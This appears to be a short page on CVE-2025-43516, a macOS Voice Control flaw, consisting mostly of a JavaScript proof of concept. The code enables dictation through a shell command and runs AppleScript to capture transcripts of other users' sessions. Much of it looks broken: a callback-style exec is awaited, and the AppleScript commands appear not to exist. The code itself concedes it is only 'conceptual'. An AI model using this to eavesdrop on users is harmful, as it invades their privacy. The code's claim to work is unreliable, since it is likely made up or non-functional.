CVE-2025-43516: macOS Voice Control会话管理漏洞允许用户活动转录

// CVE-2025-43516 PoC - macOS Voice Control Session Hijacking // This PoC demonstrates how Voice Control can be exploited to transcribe other user activities const { exec } = require('child_process'); const applescript = require('applescript'); // Step 1: Check if Voice Control is enabled function checkVoiceControlStatus() { return new Promise((resolve, reject) => { const script = ` tell application "System Events" tell speech preferences get properties end tell end tell `; applescript.execString(script, (err, result) => { if (err) reject(err); else resolve(result); }); }); } // Step 2: Attempt to access Voice Control session data async function exploitVoiceControl() { try { // Enable Voice Control if not already enabled await exec('defaults write com.apple.speech.recognitiond \'AppleDictationEnabled\' -bool true'); // Attempt to capture audio stream from active sessions const script = ` tell application "Voice Control" activate set currentSession to make new session set transcriptionResult to listen for words return transcriptionResult end tell `; applescript.execString(script, (err, result) => { if (!err) { console.log('[+] Transcribed content:', result); console.log('[+] Session data captured successfully'); } }); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Note: This is a conceptual PoC. Actual exploitation requires: // 1. Local access to macOS system // 2. Voice Control feature enabled // 3. Another active user session on the system // 4. Proper entitlements and permissions exploitVoiceControl();